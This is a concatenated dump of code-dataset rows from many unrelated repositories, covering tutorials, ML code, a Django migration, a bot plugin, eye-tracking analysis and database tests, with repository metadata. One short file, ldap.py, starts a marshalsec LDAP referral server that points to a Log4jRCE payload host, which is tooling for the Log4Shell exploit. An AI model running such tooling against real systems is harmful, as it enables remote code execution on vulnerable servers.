] | 5 | 2019-03-06T12:28:47.000Z | 2022-01-06T14:06:02.000Z | Chap03DataStructures/6-3-1.数据结构复制.py | royqh1979/programming_with_python | 7e1e8f88381151b803b6ae6ebda9809d9cc6664a | [
"MIT"
] | 6 | 2021-02-02T22:40:49.000Z | 2022-03-12T00:27:54.000Z | Chap03DataStructures/6-3-1.数据结构复制.py | royqh1979/programming_with_python | 7e1e8f88381151b803b6ae6ebda9809d9cc6664a | [
"MIT"
] | 4 | 2019-03-06T14:29:25.000Z | 2020-06-02T15:16:40.000Z |
lst1=[1,2,3,4]
lst2=lst1
lst3=lst1.copy()
lst1.append(5)
lst1[0]=10
print(lst1,lst2,lst3)
dict1={'aaa':1,'bbb':2}
dict2=dict1
dict3=dict1.copy()
dict1['ccc']=3
print(dict1,dict2,dict3)
set1=set(['aaa','bbb','ccc'])
set2=set1
set3=set1.copy()
set1.add('ddd')
print(set1,set2,set3)
| 14.15 | 29 | 0.678445 |
lst1=[1,2,3,4]
lst2=lst1
lst3=lst1.copy()
lst1.append(5)
lst1[0]=10
print(lst1,lst2,lst3)
dict1={'aaa':1,'bbb':2}
dict2=dict1
dict3=dict1.copy()
dict1['ccc']=3
print(dict1,dict2,dict3)
set1=set(['aaa','bbb','ccc'])
set2=set1
set3=set1.copy()
set1.add('ddd')
print(set1,set2,set3)
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
6be33f379f437360e7f478b560fa08e55a207c67 | 1,719 | py | Python | tutorials_scripts/nn_pytorch_autograd.py | ImadDabbura/deep_learning_with_pytorch | 0cac0614ab08b30654de192e540048cf4243a4e4 | [
"MIT"
] | 1 | 2020-02-14T12:05:11.000Z | 2020-02-14T12:05:11.000Z | tutorials_scripts/nn_pytorch_autograd.py | ImadDabbura/deep_learning_with_pytorch | 0cac0614ab08b30654de192e540048cf4243a4e4 | [
"MIT"
] | null | null | null | tutorials_scripts/nn_pytorch_autograd.py | ImadDabbura/deep_learning_with_pytorch | 0cac0614ab08b30654de192e540048cf4243a4e4 | [
"MIT"
] | null | null | null | """
Fitting a random data using fully connected network with one hidden layer.
"""
import torch
device = torch.device('gpu:0' if torch.cuda.is_available() else 'cpu')
# Define dimensions
N, D_IN, H, D_OUT = 64, 1000, 100, 10
# Create random data
X = torch.randn(N, D_IN, device=device, dtype=dtype, requires_grad=... | 24.913043 | 75 | 0.660268 | """
Fitting a random data using fully connected network with one hidden layer.
"""
import torch
class MyRelu(torch.autograd.Function):
"""
Implement a custom made autograd function.
"""
@staticmethod
def forward(ctx, input_tensor):
ctx = ctx.save_for_backward(input_tensor)
outpu... | 0 | 338 | 0 | 134 | 0 | 0 | 0 | 0 | 23 |
e25329f28b1875dca2dc0ef94bba180accc76a2a | 582 | py | Python | src/aws_profile_sync/handlers/__init__.py | snowdensb/aws-profile-sync | c3dc3b51659893aaae5250ad5f8bc40768770a8d | [
"CC0-1.0"
] | 6 | 2020-08-12T18:22:50.000Z | 2021-09-05T20:03:42.000Z | src/aws_profile_sync/handlers/__init__.py | snowdensb/aws-profile-sync | c3dc3b51659893aaae5250ad5f8bc40768770a8d | [
"CC0-1.0"
] | 5 | 2021-10-05T21:30:29.000Z | 2021-10-05T21:30:33.000Z | src/aws_profile_sync/handlers/__init__.py | snowdensb/aws-profile-sync | c3dc3b51659893aaae5250ad5f8bc40768770a8d | [
"CC0-1.0"
] | 1 | 2021-08-09T15:05:50.000Z | 2021-08-09T15:05:50.000Z | """This module contains handlers for the various supported URLs."""
from .ssh_git import SSHGitHandler
__all__ = ["SSHGitHandler"]
def find_handler(url):
"""Find a handler that will support a URL.
Args:
url: The URL to find a handler for.
Returns:
If a handler is found a class will be r... | 24.25 | 71 | 0.634021 | """This module contains handlers for the various supported URLs."""
from .ssh_git import SSHGitHandler
__all__ = ["SSHGitHandler"]
def find_handler(url):
"""Find a handler that will support a URL.
Args:
url: The URL to find a handler for.
Returns:
If a handler is found a class will be r... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
5df326f771d6a386776fd222c5abea97c2f26bf6 | 2,014 | py | Python | tools/actions/generate_compile_command.py | google/xrtl | 8cf0e7cd67371297149bda8e62d03b8c1e2e2dfe | [
"Apache-2.0"
] | 132 | 2017-03-30T03:26:57.000Z | 2021-11-18T09:18:04.000Z | tools/actions/generate_compile_command.py | google/xrtl | 8cf0e7cd67371297149bda8e62d03b8c1e2e2dfe | [
"Apache-2.0"
] | 36 | 2017-04-02T22:57:53.000Z | 2018-06-27T04:20:30.000Z | tools/actions/generate_compile_command.py | google/xrtl | 8cf0e7cd67371297149bda8e62d03b8c1e2e2dfe | [
"Apache-2.0"
] | 24 | 2017-04-09T12:48:13.000Z | 2021-10-20T02:20:07.000Z | #!/usr/bin/env python
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | 33.016393 | 82 | 0.740318 | #!/usr/bin/env python
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | 0 | 0 | 0 | 0 | 0 | 923 | 0 | 0 | 46 |
aaee5debe17b0b1833a981527a83db65e62842d8 | 395 | py | Python | functions lab/Orders.py | DiyanKalaydzhiev23/fundamentals---python | 7fa032d9a3270648ffa383bb00dad8e51613189d | [
"MIT"
] | null | null | null | functions lab/Orders.py | DiyanKalaydzhiev23/fundamentals---python | 7fa032d9a3270648ffa383bb00dad8e51613189d | [
"MIT"
] | null | null | null | functions lab/Orders.py | DiyanKalaydzhiev23/fundamentals---python | 7fa032d9a3270648ffa383bb00dad8e51613189d | [
"MIT"
] | null | null | null | product = input()
times = int(input())
coffee = 1.50
water = 1
coke = 1.40
snacks = 2
print(f"{order():.2f}")
| 16.458333 | 30 | 0.546835 | product = input()
times = int(input())
coffee = 1.50
water = 1
coke = 1.40
snacks = 2
def order():
price = 0
if product == "coffee":
price = coffee * times
elif product == "water":
price = times * water
elif product == "coke":
price = times * coke
elif product == "snacks":... | 0 | 0 | 0 | 0 | 0 | 258 | 0 | 0 | 23 |
b23c905a58473b5356c6608c242650dd86b87b5e | 486 | py | Python | app/elearn/migrations/0007_auto_20210108_0007.py | Shetty073/soak-your-brain-elearning-app | 5f44952b8efb55f870cffb9820dca0fcdd6206a1 | [
"MIT"
] | 16 | 2021-02-25T23:42:44.000Z | 2022-01-10T12:38:16.000Z | app/elearn/migrations/0007_auto_20210108_0007.py | molk95/soak-your-brain-elearning-app | 2784ad2d28d35fb05cc42a82ed8c1a7a393deb4e | [
"MIT"
] | 6 | 2021-04-24T22:18:16.000Z | 2021-05-16T16:35:59.000Z | app/elearn/migrations/0007_auto_20210108_0007.py | molk95/soak-your-brain-elearning-app | 2784ad2d28d35fb05cc42a82ed8c1a7a393deb4e | [
"MIT"
] | 3 | 2021-04-30T12:31:32.000Z | 2022-01-31T12:31:58.000Z | # Generated by Django 3.1 on 2021-01-07 18:37
| 24.3 | 113 | 0.646091 | # Generated by Django 3.1 on 2021-01-07 18:37
import django.db.models.deletion
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('elearn', '0006_auto_20210106_0159'),
]
operations = [
migrations.AlterField(
model_name='studentc... | 0 | 0 | 0 | 341 | 0 | 0 | 0 | 30 | 68 |
a363ee9c7e33437ad4ce22369cc1fc8a1fde21ff | 14,685 | py | Python | topic_plugin/base.py | BotDevGroup/topic_plugin | 22e2770ec31149d2b3a0ef353b73d4737b5f9122 | [
"MIT"
] | null | null | null | topic_plugin/base.py | BotDevGroup/topic_plugin | 22e2770ec31149d2b3a0ef353b73d4737b5f9122 | [
"MIT"
] | null | null | null | topic_plugin/base.py | BotDevGroup/topic_plugin | 22e2770ec31149d2b3a0ef353b73d4737b5f9122 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import logging
log = logging.getLogger(__name__)
MESSAGES_CACHE_KEY='topic-plugin-messages'
| 38.543307 | 151 | 0.542118 | # -*- coding: utf-8 -*-
import logging
from telegram import Chat
from telegram.error import BadRequest
from marvinbot.handlers import CommandHandler, MessageHandler, CommonFilters, CallbackQueryHandler
from marvinbot.plugins import Plugin
from topic_plugin.factory import TopicPluginFactory
from topic_plugin.models im... | 70 | 65 | 0 | 14,156 | 0 | 0 | 0 | 168 | 157 |
071c33cadbf4e036a17c53d6938e5e9290f15866 | 4,054 | py | Python | python/akg/ops/nn/conv_input_ad.py | KnowingNothing/akg-test | 114d8626b824b9a31af50a482afc07ab7121862b | [
"Apache-2.0"
] | 1 | 2020-08-31T02:43:43.000Z | 2020-08-31T02:43:43.000Z | python/akg/ops/nn/conv_input_ad.py | KnowingNothing/akg-test | 114d8626b824b9a31af50a482afc07ab7121862b | [
"Apache-2.0"
] | null | null | null | python/akg/ops/nn/conv_input_ad.py | KnowingNothing/akg-test | 114d8626b824b9a31af50a482afc07ab7121862b | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
# coding: utf-8
# Copyright 2019 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | 43.12766 | 116 | 0.682782 | #!/usr/bin/env python3
# coding: utf-8
# Copyright 2019 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | 0 | 2,612 | 0 | 0 | 0 | 0 | 0 | 74 | 134 |
b215dc02ab9358bb326b6b481d05ac82edebe201 | 605 | py | Python | examples/ssd1306_show_bmp/ssd1306_show_bmp.py | jacklinquan/micropython-microbmp | 3613d5e155a41cb01dc80575e85bec430e28adcb | [
"MIT"
] | 2 | 2021-12-14T02:48:09.000Z | 2021-12-31T08:03:23.000Z | examples/ssd1306_show_bmp/ssd1306_show_bmp.py | jacklinquan/micropython-microbmp | 3613d5e155a41cb01dc80575e85bec430e28adcb | [
"MIT"
] | null | null | null | examples/ssd1306_show_bmp/ssd1306_show_bmp.py | jacklinquan/micropython-microbmp | 3613d5e155a41cb01dc80575e85bec430e28adcb | [
"MIT"
] | 2 | 2021-12-15T04:43:57.000Z | 2022-01-24T08:42:55.000Z | # Hardware: ESP32, SSD1306 128x64 I2C screen
# I2C(1):
# scl: pin(25)
# sda: pin(26)
# Required modules:
# ssd1306: official SSD1306 driver
# microbmp
# Required files:
# img_LQ_48x48.bmp
from machine import I2C
from ssd1306 import SSD1306_I2C
from microbmp import MicroBMP
i2c = I2C(1)
ssd = SSD... | 21.607143 | 51 | 0.666116 | # Hardware: ESP32, SSD1306 128x64 I2C screen
# I2C(1):
# scl: pin(25)
# sda: pin(26)
# Required modules:
# ssd1306: official SSD1306 driver
# microbmp
# Required files:
# img_LQ_48x48.bmp
from machine import I2C
from ssd1306 import SSD1306_I2C
from microbmp import MicroBMP
def bmp_to_screen(img, ... | 0 | 0 | 0 | 0 | 0 | 136 | 0 | 0 | 23 |
e8cbf5fe2e2ed09e9aba8c63b60e6d90668a1431 | 445 | py | Python | ldap.py | ArkAngeL43/f-for-java | bb51057666eacf9fe8e8615ed8807f5cdea9deac | [
"MIT"
] | null | null | null | ldap.py | ArkAngeL43/f-for-java | bb51057666eacf9fe8e8615ed8807f5cdea9deac | [
"MIT"
] | 1 | 2022-02-01T01:07:19.000Z | 2022-02-01T01:07:19.000Z | ldap.py | ArkAngeL43/f-for-java | bb51057666eacf9fe8e8615ed8807f5cdea9deac | [
"MIT"
] | null | null | null | import sys
if __name__ == "__main__":
ipa = sys.argv[1]
main(f"{ipa}") | 29.666667 | 147 | 0.629213 | import os, subprocess, sys
def main(ip):
cwd = os.getcwd()
os.chdir("./marshalsec/")
print(os.listdir())
try:
subprocess.run(["java", "-cp", "target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", f"http://{ip}:8888/#Log4jRCE"])
except:
print("Something went wr... | 0 | 0 | 0 | 0 | 0 | 326 | 0 | 16 | 23 |
cca57ca2015bbd7a560dd96b94b7506f8a8f7221 | 3,045 | py | Python | my_python_module/algorithm/problems/random_walk.py | a358003542/wanze_python_project | db52515af80319000e9a47a7b02f3ccd2cf46afd | [
"MIT"
] | 1 | 2020-10-30T08:54:22.000Z | 2020-10-30T08:54:22.000Z | my_python_module/algorithm/problems/random_walk.py | a358003542/wanze_python_project | db52515af80319000e9a47a7b02f3ccd2cf46afd | [
"MIT"
] | null | null | null | my_python_module/algorithm/problems/random_walk.py | a358003542/wanze_python_project | db52515af80319000e9a47a7b02f3ccd2cf46afd | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*-coding:utf-8-*-
def bulk_walk(num_steps, num_bulk, dClass):
"""
:param num_steps:
:param num_bulk:
:param dClass:
:return: distances
"""
drunk = dClass()
origin = Location(0, 0)
distances = []
for i in range(num_bulk):
f = Field()
... | 24.36 | 68 | 0.595731 | #!/usr/bin/env python
# -*-coding:utf-8-*-
import random
from math import sqrt
class Location(object):
def __init__(self, x, y):
self.x = x
self.y = y
def move(self, dx, dy):
return Location(self.x + dx, self.y + dy)
def get_x(self):
return self.x
def get_y(self):
... | 201 | 0 | 0 | 1,531 | 0 | 126 | 0 | -8 | 160 |
d3275c91a3c2f274e730c8d1f2a5fe974d7397b0 | 22,817 | py | Python | src/muses/search_index/documents/collection_item.py | Aincient/cleo | 933ef372fa7847d943206d72bfb03c201dbafbd6 | [
"Apache-2.0"
] | null | null | null | src/muses/search_index/documents/collection_item.py | Aincient/cleo | 933ef372fa7847d943206d72bfb03c201dbafbd6 | [
"Apache-2.0"
] | null | null | null | src/muses/search_index/documents/collection_item.py | Aincient/cleo | 933ef372fa7847d943206d72bfb03c201dbafbd6 | [
"Apache-2.0"
] | 3 | 2018-10-01T12:04:36.000Z | 2021-01-07T09:30:50.000Z |
from django.conf import settings
from django_elasticsearch_dsl import Index
__all__ = (
'CollectionItemDocument',
'INDEX',
)
INDEX = Index(settings.ELASTICSEARCH_INDEX_NAMES[__name__])
# See Elasticsearch Indices API reference for available settings
INDEX.settings(
number_of_shards=1,
number_of_re... | 28.664573 | 79 | 0.512293 | import operator
from django.conf import settings
from django.db.models import Q
from django_elasticsearch_dsl import DocType, Index, fields
from django_elasticsearch_dsl_drf.compat import KeywordField, StringField
import six
from muses.collection.models.item import Item
from ..constants import VALUE_NOT_SPECIFIED
... | 0 | 22,069 | 0 | 0 | 0 | 0 | 0 | 184 | 180 |
f0afd4c1c786ff8eb099ee4a4e1ff4ca4951ad0e | 62,864 | py | Python | src/I2MC/I2MC.py | dcnieho/I2MC_Python | dbbc831c2b4a12a7e214d3b1e502796309e55f0e | [
"MIT"
] | 3 | 2020-05-12T16:34:29.000Z | 2022-01-25T12:23:27.000Z | src/I2MC/I2MC.py | dcnieho/I2MC_Python | dbbc831c2b4a12a7e214d3b1e502796309e55f0e | [
"MIT"
] | 1 | 2021-12-23T15:12:27.000Z | 2022-01-17T10:51:46.000Z | src/I2MC/I2MC.py | dcnieho/I2MC_Python | dbbc831c2b4a12a7e214d3b1e502796309e55f0e | [
"MIT"
] | 5 | 2020-04-23T23:43:40.000Z | 2022-03-25T15:11:48.000Z | # -*- coding: utf-8 -*-
"""
Created on Thu Sep 19 10:54:00 2019
@author: Jonathan van Leeuwen, Diederick Niehorster
"""
import numpy as np
import scipy
import scipy.signal
import copy
import warnings
# =============================================================================
# Helper functions
# ================... | 41.249344 | 282 | 0.572203 | # -*- coding: utf-8 -*-
"""
Created on Thu Sep 19 10:54:00 2019
@author: Jonathan van Leeuwen, Diederick Niehorster
"""
import numpy as np
import math
import scipy
import scipy.interpolate as interp
import scipy.signal
from scipy.cluster.vq import vq, _vq
from scipy.spatial.distance import cdist
import copy
import wa... | 0 | 0 | 0 | 23 | 0 | 10,339 | 0 | 37 | 301 |
c5f653616470f9c05a0d782f591dec8f4b39407e | 682 | py | Python | src/main/python/pyleetcode/Reverse_Words_in_a_String_III.py | aav789/pengyifan-leetcode | aa0b1062c3e22ce50f6a97edb906338d86e4e9ae | [
"BSD-3-Clause"
] | 26 | 2015-04-21T16:30:17.000Z | 2020-03-18T03:02:19.000Z | src/main/python/pyleetcode/Reverse_Words_in_a_String_III.py | aav789/pengyifan-leetcode | aa0b1062c3e22ce50f6a97edb906338d86e4e9ae | [
"BSD-3-Clause"
] | 1 | 2017-06-18T02:14:55.000Z | 2017-06-18T02:14:55.000Z | src/main/python/pyleetcode/Reverse_Words_in_a_String_III.py | aav789/pengyifan-leetcode | aa0b1062c3e22ce50f6a97edb906338d86e4e9ae | [
"BSD-3-Clause"
] | 25 | 2015-03-15T04:02:01.000Z | 2020-03-01T01:11:18.000Z | """
Given a string, you need to reverse the order of characters in each word within a sentence while still preserving whitespace and initial word order.
Example 1:
Input: "Let's take LeetCode contest"
Output: "s'teL ekat edoCteeL tsetnoc"
Note: In the string, each word is separated by single space and there will not... | 24.357143 | 148 | 0.678886 | """
Given a string, you need to reverse the order of characters in each word within a sentence while still preserving whitespace and initial word order.
Example 1:
Input: "Let's take LeetCode contest"
Output: "s'teL ekat edoCteeL tsetnoc"
Note: In the string, each word is separated by single space and there will not... | 0 | 0 | 0 | 0 | 0 | 91 | 0 | 0 | 23 |
35b69800a0b08fdd560043003e7fb417ba3865c6 | 5,235 | py | Python | pyrtma/internal_types.py | twsimpso/pyrtma | 02a74e658f050296c6ecad0f3ad55c18bfe207e3 | [
"MIT"
] | null | null | null | pyrtma/internal_types.py | twsimpso/pyrtma | 02a74e658f050296c6ecad0f3ad55c18bfe207e3 | [
"MIT"
] | null | null | null | pyrtma/internal_types.py | twsimpso/pyrtma | 02a74e658f050296c6ecad0f3ad55c18bfe207e3 | [
"MIT"
] | null | null | null | import ctypes
import sys
module = sys.modules["pyrtma.internal_types"]
# RTMA INTERNAL MESSAGE TYPES
MT = {}
MT["Exit"] = 0
MT["Kill"] = 1
MT["Acknowledge"] = 2
MT["FailSubscribe"] = 6
MT["FailedMessage"] = 8
MT["Connect"] = 13
MT["Disconnect"] = 14
MT["Subscribe"] = 15
MT["Unsubscribe"] = 16
MT["PauseSubscription"]... | 26.573604 | 94 | 0.664756 | import ctypes
import sys
from typing import ClassVar, Type
from .constants import *
module = sys.modules["pyrtma.internal_types"]
# RTMA INTERNAL MESSAGE TYPES
MT = {}
MT["Exit"] = 0
MT["Kill"] = 1
MT["Acknowledge"] = 2
MT["FailSubscribe"] = 6
MT["FailedMessage"] = 8
MT["Connect"] = 13
MT["Disconnect"] = 14
MT["Subs... | 0 | 704 | 0 | 2,655 | 0 | 75 | 0 | 15 | 435 |
412c8ad3eb5353898edf51bdd7ea46e5df71d707 | 19,281 | py | Python | test-common/integrationtest/testcase/test_makesnapshot.py | lotabout/OpenMLDB | 432da3afbed240eb0b8d0571c05f233b1a5a1cd4 | [
"Apache-2.0"
] | 2,659 | 2021-06-07T12:59:15.000Z | 2022-03-30T15:29:37.000Z | test-common/integrationtest/testcase/test_makesnapshot.py | wei20024/OpenMLDB | 16b426bcba18f70e083179f82db51e71e65d1bf6 | [
"Apache-2.0"
] | 1,396 | 2021-05-28T09:50:13.000Z | 2022-03-31T16:37:49.000Z | test-common/integrationtest/testcase/test_makesnapshot.py | wei20024/OpenMLDB | 16b426bcba18f70e083179f82db51e71e65d1bf6 | [
"Apache-2.0"
] | 499 | 2021-05-31T07:36:48.000Z | 2022-03-31T15:10:12.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2021 4Paradigm
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | 37.150289 | 110 | 0.543385 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2021 4Paradigm
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | 1,284 | 3,107 | 0 | 14,822 | 0 | 0 | 0 | 30 | 133 |
a2d177b90238c93851711113a9674d8494656510 | 1,564 | py | Python | zxtaputils/tapextract.py | weiju/zxtaputils | 622c96bd987b73a27cec2d0c4500488f97478dfb | [
"MIT"
] | 1 | 2021-12-01T04:04:00.000Z | 2021-12-01T04:04:00.000Z | zxtaputils/tapextract.py | weiju/zxtaputils | 622c96bd987b73a27cec2d0c4500488f97478dfb | [
"MIT"
] | null | null | null | zxtaputils/tapextract.py | weiju/zxtaputils | 622c96bd987b73a27cec2d0c4500488f97478dfb | [
"MIT"
] | null | null | null | import struct
from .util import compute_checksum
"""
tapextract.py - Extract the binary data from a TAP file
"""
def read_headerless_data(data_bytes):
"""only check the checksum and length here"""
computed_checksum = compute_checksum(data_bytes[:-1])
checksum = struct.unpack_from('<B', data_bytes, len(dat... | 32.583333 | 75 | 0.573529 | import struct
import traceback
from .util import compute_checksum
"""
tapextract.py - Extract the binary data from a TAP file
"""
def read_headerless_data(data_bytes):
"""only check the checksum and length here"""
computed_checksum = compute_checksum(data_bytes[:-1])
checksum = struct.unpack_from('<B', da... | 0 | 0 | 0 | 0 | 0 | 1,102 | 0 | -5 | 68 |
2b5747ad9b9342f9abaea8313c3f9e0d5bb5824f | 124 | py | Python | ToDo/Todo_MolSys/test.py | LMMV/MolModMT | 5725d6d5627b07edcbbd5e55318345a136b28c35 | [
"MIT"
] | 3 | 2020-06-02T03:55:52.000Z | 2022-03-21T04:43:52.000Z | ToDo/Todo_MolSys/test.py | LMMV/MolModMT | 5725d6d5627b07edcbbd5e55318345a136b28c35 | [
"MIT"
] | 28 | 2020-06-24T00:55:53.000Z | 2021-07-16T22:09:19.000Z | ToDo/Todo_MolSys/test.py | LMMV/MolModMT | 5725d6d5627b07edcbbd5e55318345a136b28c35 | [
"MIT"
] | 1 | 2021-06-17T18:55:25.000Z | 2021-06-17T18:55:25.000Z | import MolecularSystem
msys=MolecularSystem.Universe()
atom=
for ii in xrange(300):
msys.add_atom()
msys._atomDB.df
| 11.272727 | 31 | 0.75 | import MolecularSystem
msys=MolecularSystem.Universe()
atom=
for ii in xrange(300):
msys.add_atom()
msys._atomDB.df
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
fba5d25beed21e182c8eafdb95221e339f376108 | 13,051 | py | Python | gamestonk_terminal/due_diligence/market_watch_view.py | DT021/GamestonkTerminal | 10d231ec2f86a19e69fdb65a2f4d37f33f723f6a | [
"MIT"
] | 1 | 2021-07-25T20:34:29.000Z | 2021-07-25T20:34:29.000Z | gamestonk_terminal/due_diligence/market_watch_view.py | DT021/GamestonkTerminal | 10d231ec2f86a19e69fdb65a2f4d37f33f723f6a | [
"MIT"
] | 1 | 2022-02-10T06:49:37.000Z | 2022-02-10T06:49:37.000Z | gamestonk_terminal/due_diligence/market_watch_view.py | DT021/GamestonkTerminal | 10d231ec2f86a19e69fdb65a2f4d37f33f723f6a | [
"MIT"
] | null | null | null | """ Market Watch View """
__docformat__ = "numpy"
import argparse
from typing import List
import re
import requests
import pandas as pd
from bs4 import BeautifulSoup
import numpy as np
from gamestonk_terminal.helper_funcs import (check_positive, get_user_agent, clean_data_values_to_float, int_or_round_float, parse_kno... | 36.152355 | 105 | 0.568922 | """ Market Watch View """
__docformat__ = "numpy"
import argparse
from typing import List
import re
import requests
import pandas as pd
from bs4 import BeautifulSoup
import numpy as np
from gamestonk_terminal.helper_funcs import (
check_positive,
get_user_agent,
clean_data_values_to_float,
int_or_round... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 23 | 0 |
ad711a6a6ff5ca11f1fc708e6c98a727d89b02ff | 348 | py | Python | pybrain/rl/environments/ode/tools/mathhelpers.py | sveilleux1/pybrain | 1e1de73142c290edb84e29ca7850835f3e7bca8b | [
"BSD-3-Clause"
] | 2,208 | 2015-01-02T02:14:41.000Z | 2022-03-31T04:45:46.000Z | pybrain/rl/environments/ode/tools/mathhelpers.py | sveilleux1/pybrain | 1e1de73142c290edb84e29ca7850835f3e7bca8b | [
"BSD-3-Clause"
] | 91 | 2015-01-08T16:42:16.000Z | 2021-12-11T19:16:35.000Z | pybrain/rl/environments/ode/tools/mathhelpers.py | sveilleux1/pybrain | 1e1de73142c290edb84e29ca7850835f3e7bca8b | [
"BSD-3-Clause"
] | 786 | 2015-01-02T15:18:20.000Z | 2022-02-23T23:42:40.000Z | # TODO - redundant file, and functionality, as we use scipy!
| 18.315789 | 60 | 0.505747 | # TODO - redundant file, and functionality, as we use scipy!
import math
def dotproduct(p, q):
return p[0] * q[0] + p[1] * q[1] + p[2] * q[2]
def norm(p):
sum = 0
for i in p:
sum += i ** 2
return math.sqrt(sum)
def crossproduct(p, q):
return (p[1] * q[2] - p[2] * q[1],
p[2] * q[0] - p[0] * q[2],
... | 0 | 0 | 0 | 0 | 0 | 204 | 0 | -10 | 92 |
67068f2ed249ad4b4053a561ab7c7591a7b09de5 | 10,547 | py | Python | facebook_business/adobjects/pagesavedfilter.py | Novabae/facebook-python-business-sdk | 1aa614d88a7cacbd26dafba8b549b9ea7a6c9522 | [
"CNRI-Python"
] | null | null | null | facebook_business/adobjects/pagesavedfilter.py | Novabae/facebook-python-business-sdk | 1aa614d88a7cacbd26dafba8b549b9ea7a6c9522 | [
"CNRI-Python"
] | null | null | null | facebook_business/adobjects/pagesavedfilter.py | Novabae/facebook-python-business-sdk | 1aa614d88a7cacbd26dafba8b549b9ea7a6c9522 | [
"CNRI-Python"
] | null | null | null | # Copyright 2014 Facebook, Inc.
# You are hereby granted a non-exclusive, worldwide, royalty-free license to
# use, copy, modify, and distribute this software in source code or binary
# form for use in connection with the web services and APIs provided by
# Facebook.
# As with any software that integrates with the Fa... | 43.582645 | 106 | 0.701906 | # Copyright 2014 Facebook, Inc.
# You are hereby granted a non-exclusive, worldwide, royalty-free license to
# use, copy, modify, and distribute this software in source code or binary
# form for use in connection with the web services and APIs provided by
# Facebook.
# As with any software that integrates with the Fa... | 0 | 165 | 0 | 8,771 | 0 | 0 | 0 | 208 | 134 |
f497519aad8d7f3df99d37cb378bdfd471324142 | 9,209 | py | Python | src/vln_evaluation/eval.py | batra-mlp-lab/vln-sim2real | e7e82f7222b35996c4f8d2e7ec68c80b8e541ad5 | [
"BSD-3-Clause"
] | 10 | 2020-11-11T02:22:32.000Z | 2021-07-29T01:40:51.000Z | src/vln_evaluation/eval.py | batra-mlp-lab/vln-sim2real | e7e82f7222b35996c4f8d2e7ec68c80b8e541ad5 | [
"BSD-3-Clause"
] | 2 | 2021-02-24T07:29:39.000Z | 2022-03-12T13:12:43.000Z | src/vln_evaluation/eval.py | batra-mlp-lab/vln-sim2real | e7e82f7222b35996c4f8d2e7ec68c80b8e541ad5 | [
"BSD-3-Clause"
] | null | null | null | ''' Evaluation of agent trajectories against the simulator (nav graph)
ground truth '''
import json
import numpy as np
from dtw import DTW
BASE_DIR = 'src/vln_evaluation/'
GT = BASE_DIR + 'data/R2R_coda.json'
CONN = BASE_DIR + 'data/connectivity/'
WMAP_JSON_OUTPUT = BASE_DIR + 'data/bags/wmap/submit_coda_robot_... | 42.050228 | 131 | 0.60506 | ''' Evaluation of agent trajectories against the simulator (nav graph)
ground truth '''
import os
import sys
import json
import math
from collections import defaultdict
import networkx as nx
import numpy as np
from dtw import DTW
BASE_DIR = 'src/vln_evaluation/'
GT = BASE_DIR + 'data/R2R_coda.json'
CONN = BASE... | 0 | 0 | 0 | 5,722 | 0 | 1,561 | 0 | -19 | 180 |
2d6efdc40ea4aedeaac2731ee77519294678dd8f | 26,390 | py | Python | chat.py | janakj/groupchat | 1fa068ade19aab86c763688aecbe1234bfa91c82 | [
"MIT"
] | null | null | null | chat.py | janakj/groupchat | 1fa068ade19aab86c763688aecbe1234bfa91c82 | [
"MIT"
] | null | null | null | chat.py | janakj/groupchat | 1fa068ade19aab86c763688aecbe1234bfa91c82 | [
"MIT"
] | null | null | null | #
# Group Chat Server
#
# Copyright (C) 2019 Internet Real-Time Laboratory
#
# Written by Jan Janak <janakj@cs.columbia.edu>
#
import os
import time
DOMAIN = os.environ['DOMAIN']
ADMIN_PASSWORD = os.environ['ADMIN_PASSWORD']
OUTBOUND_PROXY = os.environ.get('OUTBOUND_PROXY', 'sip:127.0.0.1:5060;transport=tcp')... | 31.342043 | 148 | 0.579462 | #
# Group Chat Server
#
# Copyright (C) 2019 Internet Real-Time Laboratory
#
# Written by Jan Janak <janakj@cs.columbia.edu>
#
import re
import os
import shlex
import types
import time
import json
import sqlite3
import traceback
import pjsua2 as pj
import time
from types import SimpleNamespace
from email.utils impo... | 0 | 1,504 | 0 | 19,292 | 0 | 3,347 | 0 | -24 | 883 |
ab52d68d0e2e47dd7c8bcc6a06c5216131d64a8b | 2,155 | py | Python | apis/forecast.io/forecast.py | jontsai/hacktoolkit | 975c530022736855060a8574c51dfffd338ccfd6 | [
"MIT"
] | 37 | 2015-01-04T11:20:29.000Z | 2021-12-22T07:02:07.000Z | apis/forecast.io/forecast.py | jontsai/hacktoolkit | 975c530022736855060a8574c51dfffd338ccfd6 | [
"MIT"
] | 1 | 2017-11-15T02:10:44.000Z | 2017-11-15T02:48:25.000Z | apis/forecast.io/forecast.py | jontsai/hacktoolkit | 975c530022736855060a8574c51dfffd338ccfd6 | [
"MIT"
] | 9 | 2015-01-03T22:36:10.000Z | 2020-11-18T17:48:08.000Z | """
forecast.py
